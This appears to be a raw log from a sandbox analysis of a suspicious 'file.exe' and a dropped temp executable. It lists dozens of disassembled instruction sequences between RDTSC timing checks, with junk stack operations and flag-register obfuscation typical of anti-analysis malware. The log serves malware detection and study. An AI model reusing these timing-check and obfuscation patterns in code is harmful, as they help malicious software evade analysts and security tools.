Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49000D5 second address: 49000E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 66E52C76h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49000E9 second address: 4900101 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87194h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4900101 second address: 4900107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4900107 second address: 4900151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 3FBAC331h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FF018B87198h 0x00000019 xor si, 2588h 0x0000001e jmp 00007FF018B8718Bh 0x00000023 popfd 0x00000024 mov cx, 99FFh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4900151 second address: 490019E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 4A7BE841h 0x00000010 jmp 00007FF018BAC39Eh 0x00000015 mov eax, dword ptr fs:[00000000h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF018BAC3A7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49002AE second address: 49002B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49002B4 second address: 49002D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov esi, 31105BEBh 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49002D0 second address: 4900309 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF018B8718Ah 0x00000008 or esi, 5FA83878h 0x0000000e jmp 00007FF018B8718Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF018B87194h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4900309 second address: 490031F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 490031F second address: 490033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87197h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 490033A second address: 4900352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4900352 second address: 4900370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FF018B8718Ch 0x0000000e mov dword ptr [esp], edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ebx, ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4900370 second address: 49003B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF018BAC39Bh 0x00000008 pushfd 0x00000009 jmp 00007FF018BAC3A8h 0x0000000e xor ecx, 0E7C9C58h 0x00000014 jmp 00007FF018BAC39Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov eax, dword ptr [75C74538h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49003B7 second address: 49003BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49003BB second address: 49003C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49003C1 second address: 49003D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movzx eax, bx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49003D9 second address: 490040C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF018BAC3A0h 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF018BAC3A4h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 490040C second address: 4900412 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4900412 second address: 4900471 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FF018BAC3A0h 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007FF018BAC3A7h 0x00000019 and ecx, 75A9089Eh 0x0000001f jmp 00007FF018BAC3A9h 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4900471 second address: 49004AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 pushad 0x00000009 movsx ebx, ax 0x0000000c movzx ecx, bx 0x0000000f popad 0x00000010 lea eax, dword ptr [ebp-10h] 0x00000013 jmp 00007FF018B8718Dh 0x00000018 mov dword ptr fs:[00000000h], eax 0x0000001e jmp 00007FF018B8718Eh 0x00000023 mov dword ptr [ebp-18h], esp 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 mov di, ax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49004AE second address: 490050F instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FF018BAC3A4h 0x0000000c adc ch, 00000058h 0x0000000f jmp 00007FF018BAC39Bh 0x00000014 popfd 0x00000015 popad 0x00000016 mov eax, dword ptr fs:[00000018h] 0x0000001c jmp 00007FF018BAC3A6h 0x00000021 mov ecx, dword ptr [eax+00000FDCh] 0x00000027 pushad 0x00000028 movsx edi, cx 0x0000002b popad 0x0000002c test ecx, ecx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FF018BAC39Bh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 490050F second address: 4900515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0015 second address: 48F001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F001B second address: 48F001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F001F second address: 48F0035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF018BAC39Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0035 second address: 48F00AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FF018B8718Eh 0x00000011 mov ebp, esp 0x00000013 jmp 00007FF018B87190h 0x00000018 sub esp, 2Ch 0x0000001b jmp 00007FF018B87190h 0x00000020 xchg eax, ebx 0x00000021 jmp 00007FF018B87190h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FF018B8718Eh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F00AA second address: 48F00E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 3958E1A4h 0x00000008 push edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF018BAC3A0h 0x00000017 or cx, B858h 0x0000001c jmp 00007FF018BAC39Bh 0x00000021 popfd 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F00E0 second address: 48F00F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B87192h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F00F6 second address: 48F00FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F00FA second address: 48F0124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF018B8718Ch 0x0000000e mov dword ptr [esp], edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007FF018B8718Dh 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0124 second address: 48F0141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC3A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F018C second address: 48F0190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0190 second address: 48F0194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0194 second address: 48F019A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F031A second address: 48F031E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F031E second address: 48F033B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F033B second address: 48F03AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007FF018BAC39Eh 0x00000010 jg 00007FF089EDA4C2h 0x00000016 jmp 00007FF018BAC3A0h 0x0000001b js 00007FF018BAC3FFh 0x00000021 jmp 00007FF018BAC3A0h 0x00000026 cmp dword ptr [ebp-14h], edi 0x00000029 pushad 0x0000002a mov ebx, esi 0x0000002c mov edi, eax 0x0000002e popad 0x0000002f jne 00007FF089EDA49Ch 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FF018BAC39Eh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F03AD second address: 48F03BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F03BC second address: 48F03D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F03D4 second address: 48F03FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF018B87195h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0524 second address: 48F0529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F05B7 second address: 48F05BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F05BB second address: 48F05C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F05C1 second address: 48F05C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F05C7 second address: 48E078C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FF089EDA41Ch 0x0000000e xor eax, eax 0x00000010 jmp 00007FF018B85ACAh 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d cmp eax, 00000000h 0x00000020 setne cl 0x00000023 xor ebx, ebx 0x00000025 test cl, 00000001h 0x00000028 jne 00007FF018BAC397h 0x0000002a jmp 00007FF018BAC50Bh 0x0000002f call 00007FF01CAE5D91h 0x00000034 mov edi, edi 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov ax, 694Fh 0x0000003d pushfd 0x0000003e jmp 00007FF018BAC3A4h 0x00000043 sbb cx, 91F8h 0x00000048 jmp 00007FF018BAC39Bh 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E078C second address: 48E07DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, ebx 0x0000000f pushfd 0x00000010 jmp 00007FF018B8718Fh 0x00000015 sbb cl, 0000001Eh 0x00000018 jmp 00007FF018B87199h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E07DD second address: 48E07E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E07E3 second address: 48E08AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87193h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF018B87199h 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 call 00007FF018B8718Ch 0x00000018 movzx eax, bx 0x0000001b pop edx 0x0000001c call 00007FF018B8718Ch 0x00000021 pushfd 0x00000022 jmp 00007FF018B87192h 0x00000027 and ax, 4508h 0x0000002c jmp 00007FF018B8718Bh 0x00000031 popfd 0x00000032 pop esi 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 pushad 0x00000037 call 00007FF018B87195h 0x0000003c pushfd 0x0000003d jmp 00007FF018B87190h 0x00000042 sub ax, FA98h 0x00000047 jmp 00007FF018B8718Bh 0x0000004c popfd 0x0000004d pop ecx 0x0000004e mov di, 3BDCh 0x00000052 popad 0x00000053 push ebp 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jmp 00007FF018B8718Dh 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E0930 second address: 48E0936 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E0936 second address: 48E093A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E093A second address: 48E093E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F095F second address: 48F09AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov di, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF018B87197h 0x00000017 adc esi, 6960217Eh 0x0000001d jmp 00007FF018B87199h 0x00000022 popfd 0x00000023 mov edi, esi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F09AB second address: 48F09B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F09B1 second address: 48F09B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F09B5 second address: 48F0A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75C7459Ch], 05h 0x00000012 jmp 00007FF018BAC3A6h 0x00000017 je 00007FF089ECA3AEh 0x0000001d jmp 00007FF018BAC3A0h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov eax, edx 0x00000028 mov cx, bx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0A07 second address: 48F0A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0A0D second address: 48F0A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0AAB second address: 48F0AC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87196h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0B1D second address: 48F0B65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, B9h 0x00000005 pushfd 0x00000006 jmp 00007FF018BAC3A0h 0x0000000b xor ecx, 2E562908h 0x00000011 jmp 00007FF018BAC39Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a je 00007FF089EC01D3h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF018BAC3A5h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0B65 second address: 48F0B75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B8718Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48F0B75 second address: 48F0B8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp+08h], 00002000h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov bx, 66AEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910874 second address: 49108AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87190h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF018B87190h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007FF018B8718Dh 0x00000019 pop esi 0x0000001a push ebx 0x0000001b pop eax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49108AF second address: 491095C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FF018BAC3A0h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF018BAC3A1h 0x00000017 add esi, 5C3DDA26h 0x0000001d jmp 00007FF018BAC3A1h 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 jmp 00007FF018BAC39Dh 0x0000002a mov esi, dword ptr [ebp+0Ch] 0x0000002d jmp 00007FF018BAC39Eh 0x00000032 test esi, esi 0x00000034 jmp 00007FF018BAC3A0h 0x00000039 je 00007FF089EA9E21h 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007FF018BAC39Dh 0x00000048 and cx, 8B96h 0x0000004d jmp 00007FF018BAC3A1h 0x00000052 popfd 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491095C second address: 4910961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910961 second address: 49109A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75C7459Ch], 05h 0x00000010 pushad 0x00000011 mov di, ax 0x00000014 call 00007FF018BAC3A0h 0x00000019 mov dh, ch 0x0000001b pop edx 0x0000001c popad 0x0000001d je 00007FF089EC1E92h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49109A7 second address: 49109AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49109AB second address: 49109BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49109BA second address: 49109DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A4C second address: 4910A9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e call 00007FF018BAC39Ah 0x00000013 mov ax, 0641h 0x00000017 pop eax 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007FF018BAC39Ch 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF018BAC3A7h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910ADD second address: 4910AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910AE1 second address: 4910AE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910AE5 second address: 4910AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910AEB second address: 4910B0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 6AC7h 0x00000007 call 00007FF018BAC39Ch 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 mov cx, 42AFh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910B0D second address: 4910B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: E9E4EB second address: E9E4F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1016149 second address: 101617D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF018B8719Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FF018B871A8h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF018B8718Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 101617D second address: 1016181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1016181 second address: 1016185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
